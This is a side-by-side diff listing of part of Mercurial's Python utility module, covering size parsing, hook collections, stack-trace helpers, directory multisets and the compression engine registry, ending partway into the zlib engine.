2947 | _timenesting[0] -= indent |
|
2962 | _timenesting[0] -= indent | |
2948 | stderr.write('%s%s: %s\n' % |
|
2963 | stderr.write('%s%s: %s\n' % | |
2949 | (' ' * _timenesting[0], func.__name__, |
|
2964 | (' ' * _timenesting[0], func.__name__, | |
2950 | timecount(elapsed))) |
|
2965 | timecount(elapsed))) | |
2951 | return wrapper |
|
2966 | return wrapper | |
2952 |
|
2967 | |||
2953 | _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30), |
|
2968 | _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30), | |
2954 | ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1)) |
|
2969 | ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1)) | |
2955 |
|
2970 | |||
2956 | def sizetoint(s): |
|
2971 | def sizetoint(s): | |
2957 | '''Convert a space specifier to a byte count. |
|
2972 | '''Convert a space specifier to a byte count. | |
2958 |
|
2973 | |||
2959 | >>> sizetoint('30') |
|
2974 | >>> sizetoint('30') | |
2960 | 30 |
|
2975 | 30 | |
2961 | >>> sizetoint('2.2kb') |
|
2976 | >>> sizetoint('2.2kb') | |
2962 | 2252 |
|
2977 | 2252 | |
2963 | >>> sizetoint('6M') |
|
2978 | >>> sizetoint('6M') | |
2964 | 6291456 |
|
2979 | 6291456 | |
2965 | ''' |
|
2980 | ''' | |
2966 | t = s.strip().lower() |
|
2981 | t = s.strip().lower() | |
2967 | try: |
|
2982 | try: | |
2968 | for k, u in _sizeunits: |
|
2983 | for k, u in _sizeunits: | |
2969 | if t.endswith(k): |
|
2984 | if t.endswith(k): | |
2970 | return int(float(t[:-len(k)]) * u) |
|
2985 | return int(float(t[:-len(k)]) * u) | |
2971 | return int(t) |
|
2986 | return int(t) | |
2972 | except ValueError: |
|
2987 | except ValueError: | |
2973 | raise error.ParseError(_("couldn't parse size: %s") % s) |
|
2988 | raise error.ParseError(_("couldn't parse size: %s") % s) | |
2974 |
|
2989 | |||
2975 | class hooks(object): |
|
2990 | class hooks(object): | |
2976 | '''A collection of hook functions that can be used to extend a |
|
2991 | '''A collection of hook functions that can be used to extend a | |
2977 | function's behavior. Hooks are called in lexicographic order, |
|
2992 | function's behavior. Hooks are called in lexicographic order, | |
2978 | based on the names of their sources.''' |
|
2993 | based on the names of their sources.''' | |
2979 |
|
2994 | |||
2980 | def __init__(self): |
|
2995 | def __init__(self): | |
2981 | self._hooks = [] |
|
2996 | self._hooks = [] | |
2982 |
|
2997 | |||
2983 | def add(self, source, hook): |
|
2998 | def add(self, source, hook): | |
2984 | self._hooks.append((source, hook)) |
|
2999 | self._hooks.append((source, hook)) | |
2985 |
|
3000 | |||
2986 | def __call__(self, *args): |
|
3001 | def __call__(self, *args): | |
2987 | self._hooks.sort(key=lambda x: x[0]) |
|
3002 | self._hooks.sort(key=lambda x: x[0]) | |
2988 | results = [] |
|
3003 | results = [] | |
2989 | for source, hook in self._hooks: |
|
3004 | for source, hook in self._hooks: | |
2990 | results.append(hook(*args)) |
|
3005 | results.append(hook(*args)) | |
2991 | return results |
|
3006 | return results | |
2992 |
|
3007 | |||
2993 | def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0): |
|
3008 | def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0): | |
2994 | '''Yields lines for a nicely formatted stacktrace. |
|
3009 | '''Yields lines for a nicely formatted stacktrace. | |
2995 | Skips the 'skip' last entries, then return the last 'depth' entries. |
|
3010 | Skips the 'skip' last entries, then return the last 'depth' entries. | |
2996 | Each file+linenumber is formatted according to fileline. |
|
3011 | Each file+linenumber is formatted according to fileline. | |
2997 | Each line is formatted according to line. |
|
3012 | Each line is formatted according to line. | |
2998 | If line is None, it yields: |
|
3013 | If line is None, it yields: | |
2999 | length of longest filepath+line number, |
|
3014 | length of longest filepath+line number, | |
3000 | filepath+linenumber, |
|
3015 | filepath+linenumber, | |
3001 | function |
|
3016 | function | |
3002 |
|
3017 | |||
3003 | Not be used in production code but very convenient while developing. |
|
3018 | Not be used in production code but very convenient while developing. | |
3004 | ''' |
|
3019 | ''' | |
3005 | entries = [(fileline % (fn, ln), func) |
|
3020 | entries = [(fileline % (fn, ln), func) | |
3006 | for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1] |
|
3021 | for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1] | |
3007 | ][-depth:] |
|
3022 | ][-depth:] | |
3008 | if entries: |
|
3023 | if entries: | |
3009 | fnmax = max(len(entry[0]) for entry in entries) |
|
3024 | fnmax = max(len(entry[0]) for entry in entries) | |
3010 | for fnln, func in entries: |
|
3025 | for fnln, func in entries: | |
3011 | if line is None: |
|
3026 | if line is None: | |
3012 | yield (fnmax, fnln, func) |
|
3027 | yield (fnmax, fnln, func) | |
3013 | else: |
|
3028 | else: | |
3014 | yield line % (fnmax, fnln, func) |
|
3029 | yield line % (fnmax, fnln, func) | |
3015 |
|
3030 | |||
3016 | def debugstacktrace(msg='stacktrace', skip=0, |
|
3031 | def debugstacktrace(msg='stacktrace', skip=0, | |
3017 | f=stderr, otherf=stdout, depth=0): |
|
3032 | f=stderr, otherf=stdout, depth=0): | |
3018 | '''Writes a message to f (stderr) with a nicely formatted stacktrace. |
|
3033 | '''Writes a message to f (stderr) with a nicely formatted stacktrace. | |
3019 | Skips the 'skip' entries closest to the call, then show 'depth' entries. |
|
3034 | Skips the 'skip' entries closest to the call, then show 'depth' entries. | |
3020 | By default it will flush stdout first. |
|
3035 | By default it will flush stdout first. | |
3021 | It can be used everywhere and intentionally does not require an ui object. |
|
3036 | It can be used everywhere and intentionally does not require an ui object. | |
3022 | Not be used in production code but very convenient while developing. |
|
3037 | Not be used in production code but very convenient while developing. | |
3023 | ''' |
|
3038 | ''' | |
3024 | if otherf: |
|
3039 | if otherf: | |
3025 | otherf.flush() |
|
3040 | otherf.flush() | |
3026 | f.write('%s at:\n' % msg.rstrip()) |
|
3041 | f.write('%s at:\n' % msg.rstrip()) | |
3027 | for line in getstackframes(skip + 1, depth=depth): |
|
3042 | for line in getstackframes(skip + 1, depth=depth): | |
3028 | f.write(line) |
|
3043 | f.write(line) | |
3029 | f.flush() |
|
3044 | f.flush() | |
3030 |
|
3045 | |||
3031 | class dirs(object): |
|
3046 | class dirs(object): | |
3032 | '''a multiset of directory names from a dirstate or manifest''' |
|
3047 | '''a multiset of directory names from a dirstate or manifest''' | |
3033 |
|
3048 | |||
3034 | def __init__(self, map, skip=None): |
|
3049 | def __init__(self, map, skip=None): | |
3035 | self._dirs = {} |
|
3050 | self._dirs = {} | |
3036 | addpath = self.addpath |
|
3051 | addpath = self.addpath | |
3037 | if safehasattr(map, 'iteritems') and skip is not None: |
|
3052 | if safehasattr(map, 'iteritems') and skip is not None: | |
3038 | for f, s in map.iteritems(): |
|
3053 | for f, s in map.iteritems(): | |
3039 | if s[0] != skip: |
|
3054 | if s[0] != skip: | |
3040 | addpath(f) |
|
3055 | addpath(f) | |
3041 | else: |
|
3056 | else: | |
3042 | for f in map: |
|
3057 | for f in map: | |
3043 | addpath(f) |
|
3058 | addpath(f) | |
3044 |
|
3059 | |||
3045 | def addpath(self, path): |
|
3060 | def addpath(self, path): | |
3046 | dirs = self._dirs |
|
3061 | dirs = self._dirs | |
3047 | for base in finddirs(path): |
|
3062 | for base in finddirs(path): | |
3048 | if base in dirs: |
|
3063 | if base in dirs: | |
3049 | dirs[base] += 1 |
|
3064 | dirs[base] += 1 | |
3050 | return |
|
3065 | return | |
3051 | dirs[base] = 1 |
|
3066 | dirs[base] = 1 | |
3052 |
|
3067 | |||
3053 | def delpath(self, path): |
|
3068 | def delpath(self, path): | |
3054 | dirs = self._dirs |
|
3069 | dirs = self._dirs | |
3055 | for base in finddirs(path): |
|
3070 | for base in finddirs(path): | |
3056 | if dirs[base] > 1: |
|
3071 | if dirs[base] > 1: | |
3057 | dirs[base] -= 1 |
|
3072 | dirs[base] -= 1 | |
3058 | return |
|
3073 | return | |
3059 | del dirs[base] |
|
3074 | del dirs[base] | |
3060 |
|
3075 | |||
3061 | def __iter__(self): |
|
3076 | def __iter__(self): | |
3062 | return iter(self._dirs) |
|
3077 | return iter(self._dirs) | |
3063 |
|
3078 | |||
3064 | def __contains__(self, d): |
|
3079 | def __contains__(self, d): | |
3065 | return d in self._dirs |
|
3080 | return d in self._dirs | |
3066 |
|
3081 | |||
3067 | if safehasattr(parsers, 'dirs'): |
|
3082 | if safehasattr(parsers, 'dirs'): | |
3068 | dirs = parsers.dirs |
|
3083 | dirs = parsers.dirs | |
3069 |
|
3084 | |||
3070 | def finddirs(path): |
|
3085 | def finddirs(path): | |
3071 | pos = path.rfind('/') |
|
3086 | pos = path.rfind('/') | |
3072 | while pos != -1: |
|
3087 | while pos != -1: | |
3073 | yield path[:pos] |
|
3088 | yield path[:pos] | |
3074 | pos = path.rfind('/', 0, pos) |
|
3089 | pos = path.rfind('/', 0, pos) | |
3075 |
|
3090 | |||
3076 | # compression code |
|
3091 | # compression code | |
3077 |
|
3092 | |||
3078 | SERVERROLE = 'server' |
|
3093 | SERVERROLE = 'server' | |
3079 | CLIENTROLE = 'client' |
|
3094 | CLIENTROLE = 'client' | |
3080 |
|
3095 | |||
3081 | compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport', |
|
3096 | compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport', | |
3082 | (u'name', u'serverpriority', |
|
3097 | (u'name', u'serverpriority', | |
3083 | u'clientpriority')) |
|
3098 | u'clientpriority')) | |
3084 |
|
3099 | |||
3085 | class compressormanager(object): |
|
3100 | class compressormanager(object): | |
3086 | """Holds registrations of various compression engines. |
|
3101 | """Holds registrations of various compression engines. | |
3087 |
|
3102 | |||
3088 | This class essentially abstracts the differences between compression |
|
3103 | This class essentially abstracts the differences between compression | |
3089 | engines to allow new compression formats to be added easily, possibly from |
|
3104 | engines to allow new compression formats to be added easily, possibly from | |
3090 | extensions. |
|
3105 | extensions. | |
3091 |
|
3106 | |||
3092 | Compressors are registered against the global instance by calling its |
|
3107 | Compressors are registered against the global instance by calling its | |
3093 | ``register()`` method. |
|
3108 | ``register()`` method. | |
3094 | """ |
|
3109 | """ | |
3095 | def __init__(self): |
|
3110 | def __init__(self): | |
3096 | self._engines = {} |
|
3111 | self._engines = {} | |
3097 | # Bundle spec human name to engine name. |
|
3112 | # Bundle spec human name to engine name. | |
3098 | self._bundlenames = {} |
|
3113 | self._bundlenames = {} | |
3099 | # Internal bundle identifier to engine name. |
|
3114 | # Internal bundle identifier to engine name. | |
3100 | self._bundletypes = {} |
|
3115 | self._bundletypes = {} | |
3101 | # Revlog header to engine name. |
|
3116 | # Revlog header to engine name. | |
3102 | self._revlogheaders = {} |
|
3117 | self._revlogheaders = {} | |
3103 | # Wire proto identifier to engine name. |
|
3118 | # Wire proto identifier to engine name. | |
3104 | self._wiretypes = {} |
|
3119 | self._wiretypes = {} | |
3105 |
|
3120 | |||
3106 | def __getitem__(self, key): |
|
3121 | def __getitem__(self, key): | |
3107 | return self._engines[key] |
|
3122 | return self._engines[key] | |
3108 |
|
3123 | |||
3109 | def __contains__(self, key): |
|
3124 | def __contains__(self, key): | |
3110 | return key in self._engines |
|
3125 | return key in self._engines | |
3111 |
|
3126 | |||
3112 | def __iter__(self): |
|
3127 | def __iter__(self): | |
3113 | return iter(self._engines.keys()) |
|
3128 | return iter(self._engines.keys()) | |
3114 |
|
3129 | |||
3115 | def register(self, engine): |
|
3130 | def register(self, engine): | |
3116 | """Register a compression engine with the manager. |
|
3131 | """Register a compression engine with the manager. | |
3117 |
|
3132 | |||
3118 | The argument must be a ``compressionengine`` instance. |
|
3133 | The argument must be a ``compressionengine`` instance. | |
3119 | """ |
|
3134 | """ | |
3120 | if not isinstance(engine, compressionengine): |
|
3135 | if not isinstance(engine, compressionengine): | |
3121 | raise ValueError(_('argument must be a compressionengine')) |
|
3136 | raise ValueError(_('argument must be a compressionengine')) | |
3122 |
|
3137 | |||
3123 | name = engine.name() |
|
3138 | name = engine.name() | |
3124 |
|
3139 | |||
3125 | if name in self._engines: |
|
3140 | if name in self._engines: | |
3126 | raise error.Abort(_('compression engine %s already registered') % |
|
3141 | raise error.Abort(_('compression engine %s already registered') % | |
3127 | name) |
|
3142 | name) | |
3128 |
|
3143 | |||
3129 | bundleinfo = engine.bundletype() |
|
3144 | bundleinfo = engine.bundletype() | |
3130 | if bundleinfo: |
|
3145 | if bundleinfo: | |
3131 | bundlename, bundletype = bundleinfo |
|
3146 | bundlename, bundletype = bundleinfo | |
3132 |
|
3147 | |||
3133 | if bundlename in self._bundlenames: |
|
3148 | if bundlename in self._bundlenames: | |
3134 | raise error.Abort(_('bundle name %s already registered') % |
|
3149 | raise error.Abort(_('bundle name %s already registered') % | |
3135 | bundlename) |
|
3150 | bundlename) | |
3136 | if bundletype in self._bundletypes: |
|
3151 | if bundletype in self._bundletypes: | |
3137 | raise error.Abort(_('bundle type %s already registered by %s') % |
|
3152 | raise error.Abort(_('bundle type %s already registered by %s') % | |
3138 | (bundletype, self._bundletypes[bundletype])) |
|
3153 | (bundletype, self._bundletypes[bundletype])) | |
3139 |
|
3154 | |||
3140 | # No external facing name declared. |
|
3155 | # No external facing name declared. | |
3141 | if bundlename: |
|
3156 | if bundlename: | |
3142 | self._bundlenames[bundlename] = name |
|
3157 | self._bundlenames[bundlename] = name | |
3143 |
|
3158 | |||
3144 | self._bundletypes[bundletype] = name |
|
3159 | self._bundletypes[bundletype] = name | |
3145 |
|
3160 | |||
3146 | wiresupport = engine.wireprotosupport() |
|
3161 | wiresupport = engine.wireprotosupport() | |
3147 | if wiresupport: |
|
3162 | if wiresupport: | |
3148 | wiretype = wiresupport.name |
|
3163 | wiretype = wiresupport.name | |
3149 | if wiretype in self._wiretypes: |
|
3164 | if wiretype in self._wiretypes: | |
3150 | raise error.Abort(_('wire protocol compression %s already ' |
|
3165 | raise error.Abort(_('wire protocol compression %s already ' | |
3151 | 'registered by %s') % |
|
3166 | 'registered by %s') % | |
3152 | (wiretype, self._wiretypes[wiretype])) |
|
3167 | (wiretype, self._wiretypes[wiretype])) | |
3153 |
|
3168 | |||
3154 | self._wiretypes[wiretype] = name |
|
3169 | self._wiretypes[wiretype] = name | |
3155 |
|
3170 | |||
3156 | revlogheader = engine.revlogheader() |
|
3171 | revlogheader = engine.revlogheader() | |
3157 | if revlogheader and revlogheader in self._revlogheaders: |
|
3172 | if revlogheader and revlogheader in self._revlogheaders: | |
3158 | raise error.Abort(_('revlog header %s already registered by %s') % |
|
3173 | raise error.Abort(_('revlog header %s already registered by %s') % | |
3159 | (revlogheader, self._revlogheaders[revlogheader])) |
|
3174 | (revlogheader, self._revlogheaders[revlogheader])) | |
3160 |
|
3175 | |||
3161 | if revlogheader: |
|
3176 | if revlogheader: | |
3162 | self._revlogheaders[revlogheader] = name |
|
3177 | self._revlogheaders[revlogheader] = name | |
3163 |
|
3178 | |||
3164 | self._engines[name] = engine |
|
3179 | self._engines[name] = engine | |
3165 |
|
3180 | |||
3166 | @property |
|
3181 | @property | |
3167 | def supportedbundlenames(self): |
|
3182 | def supportedbundlenames(self): | |
3168 | return set(self._bundlenames.keys()) |
|
3183 | return set(self._bundlenames.keys()) | |
3169 |
|
3184 | |||
3170 | @property |
|
3185 | @property | |
3171 | def supportedbundletypes(self): |
|
3186 | def supportedbundletypes(self): | |
3172 | return set(self._bundletypes.keys()) |
|
3187 | return set(self._bundletypes.keys()) | |
3173 |
|
3188 | |||
3174 | def forbundlename(self, bundlename): |
|
3189 | def forbundlename(self, bundlename): | |
3175 | """Obtain a compression engine registered to a bundle name. |
|
3190 | """Obtain a compression engine registered to a bundle name. | |
3176 |
|
3191 | |||
3177 | Will raise KeyError if the bundle type isn't registered. |
|
3192 | Will raise KeyError if the bundle type isn't registered. | |
3178 |
|
3193 | |||
3179 | Will abort if the engine is known but not available. |
|
3194 | Will abort if the engine is known but not available. | |
3180 | """ |
|
3195 | """ | |
3181 | engine = self._engines[self._bundlenames[bundlename]] |
|
3196 | engine = self._engines[self._bundlenames[bundlename]] | |
3182 | if not engine.available(): |
|
3197 | if not engine.available(): | |
3183 | raise error.Abort(_('compression engine %s could not be loaded') % |
|
3198 | raise error.Abort(_('compression engine %s could not be loaded') % | |
3184 | engine.name()) |
|
3199 | engine.name()) | |
3185 | return engine |
|
3200 | return engine | |
3186 |
|
3201 | |||
3187 | def forbundletype(self, bundletype): |
|
3202 | def forbundletype(self, bundletype): | |
3188 | """Obtain a compression engine registered to a bundle type. |
|
3203 | """Obtain a compression engine registered to a bundle type. | |
3189 |
|
3204 | |||
3190 | Will raise KeyError if the bundle type isn't registered. |
|
3205 | Will raise KeyError if the bundle type isn't registered. | |
3191 |
|
3206 | |||
3192 | Will abort if the engine is known but not available. |
|
3207 | Will abort if the engine is known but not available. | |
3193 | """ |
|
3208 | """ | |
3194 | engine = self._engines[self._bundletypes[bundletype]] |
|
3209 | engine = self._engines[self._bundletypes[bundletype]] | |
3195 | if not engine.available(): |
|
3210 | if not engine.available(): | |
3196 | raise error.Abort(_('compression engine %s could not be loaded') % |
|
3211 | raise error.Abort(_('compression engine %s could not be loaded') % | |
3197 | engine.name()) |
|
3212 | engine.name()) | |
3198 | return engine |
|
3213 | return engine | |
3199 |
|
3214 | |||
3200 | def supportedwireengines(self, role, onlyavailable=True): |
|
3215 | def supportedwireengines(self, role, onlyavailable=True): | |
3201 | """Obtain compression engines that support the wire protocol. |
|
3216 | """Obtain compression engines that support the wire protocol. | |
3202 |
|
3217 | |||
3203 | Returns a list of engines in prioritized order, most desired first. |
|
3218 | Returns a list of engines in prioritized order, most desired first. | |
3204 |
|
3219 | |||
3205 | If ``onlyavailable`` is set, filter out engines that can't be |
|
3220 | If ``onlyavailable`` is set, filter out engines that can't be | |
3206 | loaded. |
|
3221 | loaded. | |
3207 | """ |
|
3222 | """ | |
3208 | assert role in (SERVERROLE, CLIENTROLE) |
|
3223 | assert role in (SERVERROLE, CLIENTROLE) | |
3209 |
|
3224 | |||
3210 | attr = 'serverpriority' if role == SERVERROLE else 'clientpriority' |
|
3225 | attr = 'serverpriority' if role == SERVERROLE else 'clientpriority' | |
3211 |
|
3226 | |||
3212 | engines = [self._engines[e] for e in self._wiretypes.values()] |
|
3227 | engines = [self._engines[e] for e in self._wiretypes.values()] | |
3213 | if onlyavailable: |
|
3228 | if onlyavailable: | |
3214 | engines = [e for e in engines if e.available()] |
|
3229 | engines = [e for e in engines if e.available()] | |
3215 |
|
3230 | |||
3216 | def getkey(e): |
|
3231 | def getkey(e): | |
3217 | # Sort first by priority, highest first. In case of tie, sort |
|
3232 | # Sort first by priority, highest first. In case of tie, sort | |
3218 | # alphabetically. This is arbitrary, but ensures output is |
|
3233 | # alphabetically. This is arbitrary, but ensures output is | |
3219 | # stable. |
|
3234 | # stable. | |
3220 | w = e.wireprotosupport() |
|
3235 | w = e.wireprotosupport() | |
3221 | return -1 * getattr(w, attr), w.name |
|
3236 | return -1 * getattr(w, attr), w.name | |
3222 |
|
3237 | |||
3223 | return list(sorted(engines, key=getkey)) |
|
3238 | return list(sorted(engines, key=getkey)) | |
3224 |
|
3239 | |||
3225 | def forwiretype(self, wiretype): |
|
3240 | def forwiretype(self, wiretype): | |
3226 | engine = self._engines[self._wiretypes[wiretype]] |
|
3241 | engine = self._engines[self._wiretypes[wiretype]] | |
3227 | if not engine.available(): |
|
3242 | if not engine.available(): | |
3228 | raise error.Abort(_('compression engine %s could not be loaded') % |
|
3243 | raise error.Abort(_('compression engine %s could not be loaded') % | |
3229 | engine.name()) |
|
3244 | engine.name()) | |
3230 | return engine |
|
3245 | return engine | |
3231 |
|
3246 | |||
3232 | def forrevlogheader(self, header): |
|
3247 | def forrevlogheader(self, header): | |
3233 | """Obtain a compression engine registered to a revlog header. |
|
3248 | """Obtain a compression engine registered to a revlog header. | |
3234 |
|
3249 | |||
3235 | Will raise KeyError if the revlog header value isn't registered. |
|
3250 | Will raise KeyError if the revlog header value isn't registered. | |
3236 | """ |
|
3251 | """ | |
3237 | return self._engines[self._revlogheaders[header]] |
|
3252 | return self._engines[self._revlogheaders[header]] | |
3238 |
|
3253 | |||
3239 | compengines = compressormanager() |
|
3254 | compengines = compressormanager() | |
3240 |
|
3255 | |||
3241 | class compressionengine(object): |
|
3256 | class compressionengine(object): | |
3242 | """Base class for compression engines. |
|
3257 | """Base class for compression engines. | |
3243 |
|
3258 | |||
3244 | Compression engines must implement the interface defined by this class. |
|
3259 | Compression engines must implement the interface defined by this class. | |
3245 | """ |
|
3260 | """ | |
3246 | def name(self): |
|
3261 | def name(self): | |
3247 | """Returns the name of the compression engine. |
|
3262 | """Returns the name of the compression engine. | |
3248 |
|
3263 | |||
3249 | This is the key the engine is registered under. |
|
3264 | This is the key the engine is registered under. | |
3250 |
|
3265 | |||
3251 | This method must be implemented. |
|
3266 | This method must be implemented. | |
3252 | """ |
|
3267 | """ | |
3253 | raise NotImplementedError() |
|
3268 | raise NotImplementedError() | |
3254 |
|
3269 | |||
3255 | def available(self): |
|
3270 | def available(self): | |
3256 | """Whether the compression engine is available. |
|
3271 | """Whether the compression engine is available. | |
3257 |
|
3272 | |||
3258 | The intent of this method is to allow optional compression engines |
|
3273 | The intent of this method is to allow optional compression engines | |
3259 | that may not be available in all installations (such as engines relying |
|
3274 | that may not be available in all installations (such as engines relying | |
3260 | on C extensions that may not be present). |
|
3275 | on C extensions that may not be present). | |
3261 | """ |
|
3276 | """ | |
3262 | return True |
|
3277 | return True | |
3263 |
|
3278 | |||
3264 | def bundletype(self): |
|
3279 | def bundletype(self): | |
3265 | """Describes bundle identifiers for this engine. |
|
3280 | """Describes bundle identifiers for this engine. | |
3266 |
|
3281 | |||
3267 | If this compression engine isn't supported for bundles, returns None. |
|
3282 | If this compression engine isn't supported for bundles, returns None. | |
3268 |
|
3283 | |||
3269 | If this engine can be used for bundles, returns a 2-tuple of strings of |
|
3284 | If this engine can be used for bundles, returns a 2-tuple of strings of | |
3270 | the user-facing "bundle spec" compression name and an internal |
|
3285 | the user-facing "bundle spec" compression name and an internal | |
3271 | identifier used to denote the compression format within bundles. To |
|
3286 | identifier used to denote the compression format within bundles. To | |
3272 | exclude the name from external usage, set the first element to ``None``. |
|
3287 | exclude the name from external usage, set the first element to ``None``. | |
3273 |
|
3288 | |||
3274 | If bundle compression is supported, the class must also implement |
|
3289 | If bundle compression is supported, the class must also implement | |
3275 | ``compressstream`` and `decompressorreader``. |
|
3290 | ``compressstream`` and `decompressorreader``. | |
3276 |
|
3291 | |||
3277 | The docstring of this method is used in the help system to tell users |
|
3292 | The docstring of this method is used in the help system to tell users | |
3278 | about this engine. |
|
3293 | about this engine. | |
3279 | """ |
|
3294 | """ | |
3280 | return None |
|
3295 | return None | |
3281 |
|
3296 | |||
3282 | def wireprotosupport(self): |
|
3297 | def wireprotosupport(self): | |
3283 | """Declare support for this compression format on the wire protocol. |
|
3298 | """Declare support for this compression format on the wire protocol. | |
3284 |
|
3299 | |||
3285 | If this compression engine isn't supported for compressing wire |
|
3300 | If this compression engine isn't supported for compressing wire | |
3286 | protocol payloads, returns None. |
|
3301 | protocol payloads, returns None. | |
3287 |
|
3302 | |||
3288 | Otherwise, returns ``compenginewireprotosupport`` with the following |
|
3303 | Otherwise, returns ``compenginewireprotosupport`` with the following | |
3289 | fields: |
|
3304 | fields: | |
3290 |
|
3305 | |||
3291 | * String format identifier |
|
3306 | * String format identifier | |
3292 | * Integer priority for the server |
|
3307 | * Integer priority for the server | |
3293 | * Integer priority for the client |
|
3308 | * Integer priority for the client | |
3294 |
|
3309 | |||
3295 | The integer priorities are used to order the advertisement of format |
|
3310 | The integer priorities are used to order the advertisement of format | |
3296 | support by server and client. The highest integer is advertised |
|
3311 | support by server and client. The highest integer is advertised | |
3297 | first. Integers with non-positive values aren't advertised. |
|
3312 | first. Integers with non-positive values aren't advertised. | |
3298 |
|
3313 | |||
3299 | The priority values are somewhat arbitrary and only used for default |
|
3314 | The priority values are somewhat arbitrary and only used for default | |
3300 | ordering. The relative order can be changed via config options. |
|
3315 | ordering. The relative order can be changed via config options. | |
3301 |
|
3316 | |||
3302 | If wire protocol compression is supported, the class must also implement |
|
3317 | If wire protocol compression is supported, the class must also implement | |
3303 | ``compressstream`` and ``decompressorreader``. |
|
3318 | ``compressstream`` and ``decompressorreader``. | |
3304 | """ |
|
3319 | """ | |
3305 | return None |
|
3320 | return None | |
3306 |
|
3321 | |||
3307 | def revlogheader(self): |
|
3322 | def revlogheader(self): | |
3308 | """Header added to revlog chunks that identifies this engine. |
|
3323 | """Header added to revlog chunks that identifies this engine. | |
3309 |
|
3324 | |||
3310 | If this engine can be used to compress revlogs, this method should |
|
3325 | If this engine can be used to compress revlogs, this method should | |
3311 | return the bytes used to identify chunks compressed with this engine. |
|
3326 | return the bytes used to identify chunks compressed with this engine. | |
3312 | Else, the method should return ``None`` to indicate it does not |
|
3327 | Else, the method should return ``None`` to indicate it does not | |
3313 | participate in revlog compression. |
|
3328 | participate in revlog compression. | |
3314 | """ |
|
3329 | """ | |
3315 | return None |
|
3330 | return None | |
3316 |
|
3331 | |||
3317 | def compressstream(self, it, opts=None): |
|
3332 | def compressstream(self, it, opts=None): | |
3318 | """Compress an iterator of chunks. |
|
3333 | """Compress an iterator of chunks. | |
3319 |
|
3334 | |||
3320 | The method receives an iterator (ideally a generator) of chunks of |
|
3335 | The method receives an iterator (ideally a generator) of chunks of | |
3321 | bytes to be compressed. It returns an iterator (ideally a generator) |
|
3336 | bytes to be compressed. It returns an iterator (ideally a generator) | |
3322 | of bytes of chunks representing the compressed output. |
|
3337 | of bytes of chunks representing the compressed output. | |
3323 |
|
3338 | |||
3324 | Optionally accepts an argument defining how to perform compression. |
|
3339 | Optionally accepts an argument defining how to perform compression. | |
3325 | Each engine treats this argument differently. |
|
3340 | Each engine treats this argument differently. | |
3326 | """ |
|
3341 | """ | |
3327 | raise NotImplementedError() |
|
3342 | raise NotImplementedError() | |
3328 |
|
3343 | |||
3329 | def decompressorreader(self, fh): |
|
3344 | def decompressorreader(self, fh): | |
3330 | """Perform decompression on a file object. |
|
3345 | """Perform decompression on a file object. | |
3331 |
|
3346 | |||
3332 | Argument is an object with a ``read(size)`` method that returns |
|
3347 | Argument is an object with a ``read(size)`` method that returns | |
3333 | compressed data. Return value is an object with a ``read(size)`` that |
|
3348 | compressed data. Return value is an object with a ``read(size)`` that | |
3334 | returns uncompressed data. |
|
3349 | returns uncompressed data. | |
3335 | """ |
|
3350 | """ | |
3336 | raise NotImplementedError() |
|
3351 | raise NotImplementedError() | |
3337 |
|
3352 | |||
3338 | def revlogcompressor(self, opts=None): |
|
3353 | def revlogcompressor(self, opts=None): | |
3339 | """Obtain an object that can be used to compress revlog entries. |
|
3354 | """Obtain an object that can be used to compress revlog entries. | |
3340 |
|
3355 | |||
3341 | The object has a ``compress(data)`` method that compresses binary |
|
3356 | The object has a ``compress(data)`` method that compresses binary | |
3342 | data. This method returns compressed binary data or ``None`` if |
|
3357 | data. This method returns compressed binary data or ``None`` if | |
3343 | the data could not be compressed (too small, not compressible, etc). |
|
3358 | the data could not be compressed (too small, not compressible, etc). | |
3344 | The returned data should have a header uniquely identifying this |
|
3359 | The returned data should have a header uniquely identifying this | |
3345 | compression format so decompression can be routed to this engine. |
|
3360 | compression format so decompression can be routed to this engine. | |
3346 | This header should be identified by the ``revlogheader()`` return |
|
3361 | This header should be identified by the ``revlogheader()`` return | |
3347 | value. |
|
3362 | value. | |
3348 |
|
3363 | |||
3349 | The object has a ``decompress(data)`` method that decompresses |
|
3364 | The object has a ``decompress(data)`` method that decompresses | |
3350 | data. The method will only be called if ``data`` begins with |
|
3365 | data. The method will only be called if ``data`` begins with | |
3351 | ``revlogheader()``. The method should return the raw, uncompressed |
|
3366 | ``revlogheader()``. The method should return the raw, uncompressed | |
3352 | data or raise a ``RevlogError``. |
|
3367 | data or raise a ``RevlogError``. | |
3353 |
|
3368 | |||
3354 | The object is reusable but is not thread safe. |
|
3369 | The object is reusable but is not thread safe. | |
3355 | """ |
|
3370 | """ | |
3356 | raise NotImplementedError() |
|
3371 | raise NotImplementedError() | |
3357 |
|
3372 | |||
3358 | class _zlibengine(compressionengine): |
|
3373 | class _zlibengine(compressionengine): | |
3359 | def name(self): |
|
3374 | def name(self): | |
3360 | return 'zlib' |
|
3375 | return 'zlib' | |
3361 |
|
3376 | |||
3362 | def bundletype(self): |
|
3377 | def bundletype(self): | |
3363 | """zlib compression using the DEFLATE algorithm. |
|
3378 | """zlib compression using the DEFLATE algorithm. | |
3364 |
|
3379 | |||
3365 | All Mercurial clients should support this format. The compression |
|
3380 | All Mercurial clients should support this format. The compression | |
3366 | algorithm strikes a reasonable balance between compression ratio |
|
3381 | algorithm strikes a reasonable balance between compression ratio | |
3367 | and size. |
|
3382 | and size. | |
3368 | """ |
|
3383 | """ | |
3369 | return 'gzip', 'GZ' |
|
3384 | return 'gzip', 'GZ' | |
3370 |
|
3385 | |||
3371 | def wireprotosupport(self): |
|
3386 | def wireprotosupport(self): | |
3372 | return compewireprotosupport('zlib', 20, 20) |
|
3387 | return compewireprotosupport('zlib', 20, 20) | |
3373 |
|
3388 | |||
3374 | def revlogheader(self): |
|
3389 | def revlogheader(self): | |
3375 | return 'x' |
|
3390 | return 'x' | |
3376 |
|
3391 | |||
3377 | def compressstream(self, it, opts=None): |
|
3392 | def compressstream(self, it, opts=None): | |
3378 | opts = opts or {} |
|
3393 | opts = opts or {} | |
3379 |
|
3394 | |||
3380 | z = zlib.compressobj(opts.get('level', -1)) |
|
3395 | z = zlib.compressobj(opts.get('level', -1)) | |
